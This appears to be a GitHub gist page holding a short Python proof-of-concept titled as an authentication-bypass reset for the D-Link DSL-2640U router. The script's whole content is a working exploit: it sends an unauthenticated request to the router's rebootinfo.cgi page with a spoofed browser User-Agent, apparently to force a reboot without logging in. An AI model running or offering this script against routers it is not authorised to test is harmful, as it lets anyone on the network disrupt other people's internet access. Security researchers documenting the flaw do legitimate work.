Created
January 8, 2017 17:35
-
-
Save yazdipour/239cfa73867c51a2ae747a5066d0c6a5 to your computer and use it in GitHub Desktop.
Resetting Dlink DSL-2640U vulnerability (bypass authentication) with Python Code
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
url = 'http://192.168.1.1/rebootinfo.cgi' | |
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0'} | |
try: requests.get(url, headers=headers) | |
except Exception as e: | |
print("except") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment